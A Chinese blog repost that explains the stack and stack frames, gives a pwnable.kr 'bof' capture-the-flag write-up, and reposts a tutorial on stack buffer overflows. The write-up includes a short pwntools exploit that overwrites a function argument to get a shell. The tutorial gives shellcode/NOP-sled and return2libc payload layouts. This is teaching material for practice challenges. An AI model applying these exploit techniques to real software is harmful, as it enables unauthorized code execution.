栈和栈帧

栈和栈帧

栈和栈帧

 
 

堆栈(stack)又称为栈或堆叠，是计算机科学里最重要且最基础的数据结构之一，它按照FILO（First In Last Out，后进先出）的原则存储数据。

栈的相关概念：

  1. 栈顶和栈底：允许元素插入与删除的一端称为栈顶，另一端称为栈底。
  2. 压栈：栈的插入操作，叫做进栈，也称压栈、入栈。
  3. 弹栈：栈的删除操作，也叫做出栈。

下面是栈的示意图，从图中可以清楚的看到，不管是插入数据还是删除数据，都是在栈顶进行的，还有就是FILO原则，可以看到，如果你想取出B的值，那么你必须先要将B的上面的C取出，要取出C的值，就得取出C上面的值，以此类推。

 

 

从技术上说，栈就是CPU寄存器里的某个指针所指向的一片内存区域。这里所说的“某个指针”通常位于x86/x64平台的ESP寄存器/RSP寄存器，以及ARM平台的SP寄存器。

操作栈的最常见的指令时PUSH（压栈）和POP（弹栈）。PUSH指令会对ESP/RSP/SP寄存器的值进行减法运算，使之减去4（32位）或8（64位），然后将操作数写到上述寄存器里的指针所指向的内存中。

POP指令是PUSH指令的逆操作：它先从栈指针指向的内存中读取数据，用以备用（通常是写到其他寄存器里），然后再将栈指针的数值加上4或8.

下图演示了x86平台下的push指令和pop指令，指令push Z，首先ESP的值-4，然后将Z的值写入新的ESP所指的内存中，指令pop eax，先将Z的值存入EAX寄存器，然后进行ESP+4。指令POP EBX，首先将栈顶元素存入EBX，然后ESP+4。

 

 

下面通过一个例子说明，首先是push eax，此时eax的值为0x115fcc0，ESP的值为0x115fc68，栈顶的值为0x75936359

 

当push eax执行完之后结果如下图，此时ESP的值为0x115fc64（为原来ESP的值-4，注意多数栈是逆增长的，也就是向低地址增长），栈顶的值为0x115fcc0（EAX的值）

当pop ebx的指令执行完时，此时ebx的值为0x115fcc0（从栈顶弹出来的），ESP的值为0x115fc68（上一步ESP的值+4），此时之前的数据0x115fcc0依然在内存中（地址为0x115fc64的地方），只不过这个值不再是栈的一部分了，因为ESP指向的是栈顶。

栈在进程中的作用如下：

  1. 暂时保存函数内的局部变量。
  2. 调用函数时传递参数。
  3. 保存函数返回的地址。

栈帧

栈帧也叫过程活动记录，是编译器用来实现过程/函数调用的一种数据结构。简言之，栈帧就是利用EBP（栈帧指针，请注意不是ESP）寄存器访问局部变量、参数、函数返回地址等的手段。

;栈帧结构
PUSH EBP            ;函数开始（使用EBP前先把已有值保存到栈中）
MOV EBP, ESP        ;保存当前ESP到EBP中

...                 ;函数体
                    ;无论ESP值如何变化，EBP都保持不变，可以安全访问函数的局部变量、参数

MOV ESP, EBP        ;将函数的起始地址返回到ESP中
POP EBP             ;函数返回前弹出保存在栈中的值
RETN                ;函数终止

每一次函数的调用，都会在调用栈（call stack）上维护一个独立的栈帧（stack frame）。每个独立的栈帧一般包括：

  • 函数的返回地址和参数
  • 临时变量：包括函数的非静态局部变量以及编译器自动生成的其他临时变量
  • 函数调用的上下文

栈是从高地址向低地址延伸，一个函数的栈帧用EBP和ESP这两个寄存器来划定范围。EBP指向当前栈帧的底部，ESP始终指向栈帧的顶部。

EBP寄存器又被称为帧指针（Frame Pointer）

ESP寄存器又被称为栈指针（Stack Pointer）

一个很常见的活动记录示例如图所示

 

关于函数调用的讲解，可以参考另一篇文章()，也是pwnable.kr的第三道题的WP，一个简单的栈溢出的题.

pwnable.kr-bof WP

这道题是一个简单的缓冲器溢出的题，首先要做这道题要对函数调用栈有一定的了解。

函数调用栈是指程序运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶；在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态。函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大。

函数状态主要涉及三个寄存器－－esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照eip的存储内容读取指令并执行，eip随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。

下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。

首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。

将被调用函数的参数压入栈内，然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。

将被调用函数的返回地址压入栈内，再将当前的ebp寄存器的值（也就是调用函数的基地址）压入栈内，并将ebp寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的 ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址(图中红色的EBP)。
将调用函数的基地址（ebp）压入栈内，并将当前栈顶地址传到 ebp 寄存器内，再之后是将被调用函数（callee）的局部变量等数据压入栈内。

在压栈的过程中，esp 寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到eip寄存器内，这样程序就可以依次执行被调用函数的指令了。

看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。

首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。

然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到ebp 寄存器内。这样调用函数（caller）的 ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。

再将返回地址从栈内弹出，并存到eip寄存器内。这样调用函数（caller）的eip（指令）信息得以恢复。

至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。

理解了原理之后，就可以看这道题了，首先看一下源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

定义了一个func()函数，里面有一个32字节大小的buffer， 然后调用了gets()函数。注意这个gets()函数，这个函数是有漏洞。

gets()从标准输入设备读字符串函数，其可以无限读取，不会判断上限，所以会造成溢出。他以回车结束读取，直至接受到换行符或EOF时停止，并将读取的结果存放在buffer指针所指向的字符数组中。换行符不作为读取串的内容，读取的换行符被转换为‘\0’空字符，并由此来结束字符串。

然后往下看，有一个判断语句，如果传进来的参数key的值等于0xcafebabe，那么返回一个shell，可以传进去的参数人家已经给出了，是0xdeadbeef，不是0xcafebabe，这怎么办？这就要用到gets()函数和我们上面介绍的函数调用栈的知识了。

他虽然定义了一个32字节大小的buffer，但是由于gets()函数，我们可以往里面写入超过32字节的内容，从上面的图中可以看到，func()函数局部变量等数据下面就是main()函数EBP的值，再往下是保存的返回地址，也就是main函数的EIP的值，再往下就是func()函数的参数了，所以我们只要把数据覆盖掉，将参数覆盖成0xcafebabe就可以了，如图所示。

在这里插入图片描述

具体要怎么做呢，这里我们用pwndbg调试，进入func函数，单步到gets函数的位置，arg[0]给出了s的地址。
在这里插入图片描述

如图，我们用EBP的值(0xffffd6f8)-s的地址(0xffffd6cc)=2c=44，然后我们加上4字节的EBP和4字节的EIP，得到52字节，52字节以后的位置就是func()函数的参数key的位置了。写个小脚本跑一下。

from pwn import *

key = p32(0xcafebabe)   #打包成32位，小端模式

c = remote("pwnable.kr", 9000)   

c.sendline('A' * 52 + key)

c.interactive()

开启shell后，就可以获取flag了，由于网速的原因，可能反应有点慢。

上面函数栈调用的内容来自于知乎Jwizard, 题目思路可以看一下DeeLMind的视频讲解,请叫我勤劳的搬运工 0.0 。

手把手教你栈溢出从入门到放弃（上）

 
 

0x00 写在最前面

开场白：快报快报！今天是2017 Pwn2Own黑客大赛的第一天，长亭安全研究实验室在比赛中攻破Linux操作系统和Safari浏览器（突破沙箱且拿到系统最高权限），积分14分，在11支队伍中暂居 Master of Pwn 第一名。作为热爱技术乐于分享的技术团队，我们开办了这个专栏，传播普及计算机安全的“黑魔法”，也会不时披露长亭安全实验室的最新研究成果。

安全领域博大精深，很多童鞋都感兴趣却苦于难以入门，不要紧，我们会从最基础的内容开始，循序渐进地讲给大家。技术长路漫漫，我们携手一起出发吧。

0x10 本期简介

在计算机安全领域，缓冲区溢出是个古老而经典的话题。众所周知，计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度限制的数据，从而破坏程序运行甚至获得系统控制权的攻击手段。本文将以32位x86架构下的程序为例讲解栈溢出的技术详情。

为了实现栈溢出，要满足两个条件。第一，程序要有向栈内写入数据的行为；第二，程序并不限制写入数据的长度。历史上第一例被广泛注意的“莫里斯蠕虫”病毒就是利用C语言标准库的 gets() 函数并未限制输入数据长度的漏洞，从而实现了栈溢出。

Fig 1. 波士顿科学博物馆保存的存有莫里斯蠕虫源代码的磁盘（source: Wikipedia）

如果想用栈溢出来执行攻击指令，就要在溢出数据内包含攻击指令的内容或地址，并且要将程序控制权交给该指令。攻击指令可以是自定义的指令片段，也可以利用系统内已有的函数及指令。

0x20 背景知识

在介绍如何实现溢出攻击之前，让我们先简单温习一下函数调用栈的相关知识。

函数调用栈是指程序运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶；在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态。函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大。



Fig 2. 函数调用发生和结束时调用栈的变化

函数状态主要涉及三个寄存器－－esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip 的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。

下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。

首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。

Fig 3. 将被调用函数的参数压入栈内

然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。

Fig 4. 将被调用函数的返回地址压入栈内

再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的 ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。

Fig 5. 将调用函数的基地址（ebp）压入栈内，并将当前栈顶地址传到 ebp 寄存器内

再之后是将被调用函数（callee）的局部变量等数据压入栈内。

Fig 6. 将被调用函数的局部变量压入栈内

在压栈的过程中，esp 寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到 eip 寄存器内，这样程序就可以依次执行被调用函数的指令了。

看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。

首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。

Fig 7. 将被调用函数的局部变量弹出栈外

然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到 ebp 寄存器内。这样调用函数（caller）的 ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。

Fig 8. 将调用函数（caller）的基地址（ebp）弹出栈外，并存到 ebp 寄存器内

再将返回地址从栈内弹出，并存到 eip 寄存器内。这样调用函数（caller）的 eip（指令）信息得以恢复。

Fig 9. 将被调用函数的返回地址弹出栈外，并存到 eip 寄存器内

至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。

0x30 技术清单

介绍完背景知识，就可以继续回归栈溢出攻击的主题了。当函数正在执行内部指令的过程中我们无法拿到程序的控制权，只有在发生函数调用或者结束函数调用时，程序的控制权会在函数状态之间发生跳转，这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip（还记得 eip 的用途吗？），所以我们的目标就是让 eip 载入攻击指令的地址。

先来看看函数调用结束时，如果要让 eip 指向攻击指令，需要哪些准备？首先，在退栈过程中，返回地址会被传给 eip，所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次，我们可以在溢出数据内包含一段攻击指令，也可以在内存其他位置寻找可用的攻击指令。

Fig 10. 核心目的是用攻击指令的地址来覆盖返回地址

再来看看函数调用发生时，如果要让 eip 指向攻击指令，需要哪些准备？这时，eip 会指向原程序中某个指定的函数，我们没法通过改写返回地址来控制了，不过我们可以“偷梁换柱”－－将原本指定的函数在调用时替换为其他函数。

所以这篇文章会覆盖到的技术大概可以总结为（括号内英文是所用技术的简称）：

  • 修改返回地址，让其指向溢出数据中的一段指令（shellcode）
  • 修改返回地址，让其指向内存中已有的某个函数（return2libc）
  • 修改返回地址，让其指向内存中已有的一段指令（ROP）
  • 修改某个被调用函数的地址，让其指向另一个函数（hijack GOT）

本篇文章会覆盖前两项技术，后两项会在下篇继续介绍。（所以请点击“关注专栏”持续关注我们吧 ^_^ ）

0x40 Shellcode

－－修改返回地址，让其指向溢出数据中的一段指令

根据上面副标题的说明，要完成的任务包括：在溢出数据内包含一段攻击指令，用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell，从而可以获得当前进程的控制权，所以这类指令片段也被成为“shellcode”。shellcode 可以用汇编语言来写再转成对应的机器码，也可以上网搜索直接复制粘贴，这里就不再赘述。下面我们先写出溢出数据的组成，再确定对应的各部分填充进去。

payload : padding1 + address of shellcode + padding2 + shellcode

Fig 11. shellcode 所用溢出数据的构造

padding1 处的数据可以随意填充（注意如果利用字符串程序输入溢出数据不要包含 “\x00” ，否则向程序传入溢出数据时会造成截断），长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode 起始处的地址，用来覆盖返回地址。padding2 处的数据也可以随意填充，长度可以任意。shellcode 应该为十六进制的机器码格式。

根据上面的构造，我们要解决两个问题。

1. 返回地址之前的填充数据（padding1）应该多长？

我们可以用调试工具（例如 gdb）查看汇编代码来确定这个距离，也可以在运行程序时用不断增加输入长度的方法来试探（如果返回地址被无效地址例如“AAAA”覆盖，程序会终止并报错）。

2. shellcode起始地址应该是多少？

我们可以在调试工具里查看返回地址的位置（可以查看 ebp 的内容然后再加4（32位机），参见前面关于函数状态的解释），可是在调试工具里的这个地址和正常运行时并不一致，这是运行时环境变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的 shellcode 起始地址，解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No Operation)，也就是告诉 CPU 什么也不做，然后跳到下一条指令。有了这一段 NOP 的填充，只要返回地址能够命中这一段中的任意位置，都可以无副作用地跳转到 shellcode 的起始处，所以这种方法被称为 NOP Sled（中文含义是“滑雪橇”）。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。

操作系统可以将函数调用栈的起始地址设为随机化（这种技术被称为内存布局随机化，即Address Space Layout Randomization (ASLR) ），这样程序每次运行时函数返回地址会随机变化。反之如果操作系统关闭了上述的随机化（这是技术可以生效的前提），那么程序每次运行时函数返回地址会是相同的，这样我们可以通过输入无效的溢出数据来生成core文件，再通过调试工具在core文件中找到返回地址的位置，从而确定 shellcode 的起始地址。

解决完上述问题，我们就可以拼接出最终的溢出数据，输入至程序来执行 shellcode 了。

Fig 12. shellcode 所用溢出数据的最终构造

看起来并不复杂对吧？但这种方法生效的一个前提是在函数调用栈上的数据（shellcode）要有可执行的权限（另一个前提是上面提到的关闭内存布局随机化）。很多时候操作系统会关闭函数调用栈的可执行权限，这样 shellcode 的方法就失效了，不过我们还可以尝试使用内存里已有的指令或函数，毕竟这些部分本来就是可执行的，所以不会受上述执行权限的限制。这就包括 return2libc 和 ROP 两种方法。

0x50 Return2libc

－－修改返回地址，让其指向内存中已有的某个函数

根据上面副标题的说明，要完成的任务包括：在内存中确定某个函数的地址，并用其覆盖掉返回地址。由于 libc 动态链接库中的函数被广泛使用，所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数（例如 system() 等），所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数，比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ，所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”) 为例，先写出溢出数据的组成，再确定对应的各部分填充进去。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

Fig 13. return2libc 所用溢出数据的构造

padding1 处的数据可以随意填充（注意不要包含 “\x00” ，否则向程序传入溢出数据时会造成截断），长度应该刚好覆盖函数的基地址。address of system() 是 system() 在内存中的地址，用来覆盖返回地址。padding2 处的数据长度为4（32位机），对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以，并不关心从 shell 退出之后的行为，所以 padding2 的内容可以随意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址，作为传给 system() 的参数。

根据上面的构造，我们要解决个问题。

1. 返回地址之前的填充数据（padding1）应该多长？

解决方法和 shellcode 中提到的答案一样。

2. system() 函数地址应该是多少？

要回答这个问题，就要看看程序是如何调用动态链接库中的函数的。当函数被动态链接至程序中，程序在运行时首先确定动态链接库在内存的起始地址，再加上函数在动态库中的相对偏移量，最终得到函数在内存的绝对地址。说到确定动态库的内存地址，就要回顾一下 shellcode 中提到的内存布局随机化（ASLR），这项技术也会将动态库加载的起始地址做随机化处理。所以，如果操作系统打开了 ASLR，程序每次运行时动态库的起始地址都会变化，也就无从确定库内函数的绝对地址。在 ASLR 被关闭的前提下，我们可以通过调试工具在运行程序过程中直接查看 system() 的地址，也可以查看动态库在内存的起始地址，再在动态库内查看函数的相对偏移位置，通过计算得到函数的绝对地址。

最后，“/bin/sh” 的地址在哪里？

可以在动态库里搜索这个字符串，如果存在，就可以按照动态库起始地址＋相对偏移来确定其绝对地址。如果在动态库里找不到，可以将这个字符串加到环境变量里，再通过 getenv() 等函数来确定地址。


解决完上述问题，我们就可以拼接出溢出数据，输入至程序来通过 system() 打开 shell 了。


0x60 半途小结

小结一下，本篇文章介绍了栈溢出的原理和两种执行方法，两种方法都是通过覆盖返回地址来执行输入的指令片段（shellcode）或者动态库中的函数（return2libc）。需要指出的是，这两种方法都需要操作系统关闭内存布局随机化（ASLR），而且 shellcode 还需要程序调用栈有可执行权限。下篇会继续介绍另外两种执行方法，其中有可以绕过内存布局随机化（ASLR）的方法，敬请关注。


0x70 号外

给大家推荐几个可以练习安全技术的网站：

Pwnhub ( pwnhub | Beta )：长亭出品，题目丰富，积分排名机制，还可以兑换奖品，快来一起玩耍吧！

Pwnable.kr (  )：有不同难度的题目，内容涵盖多个领域，界面很可爱

（ Pwnable.tw )：由台湾CTF爱好者组织的练习平台，质量较高

Exploit Exercises (  )：有比较完善的题目难度分级，还有虚拟机镜像供下载

最后，放出一张长亭战队在PWN2OWN的比赛精彩瞬间，No Pwn No Fun ! 也祝长亭战队再创佳绩！

References：

 
posted @ 2022-03-02 15:24  CharyGao  阅读(885)  评论(0)    收藏  举报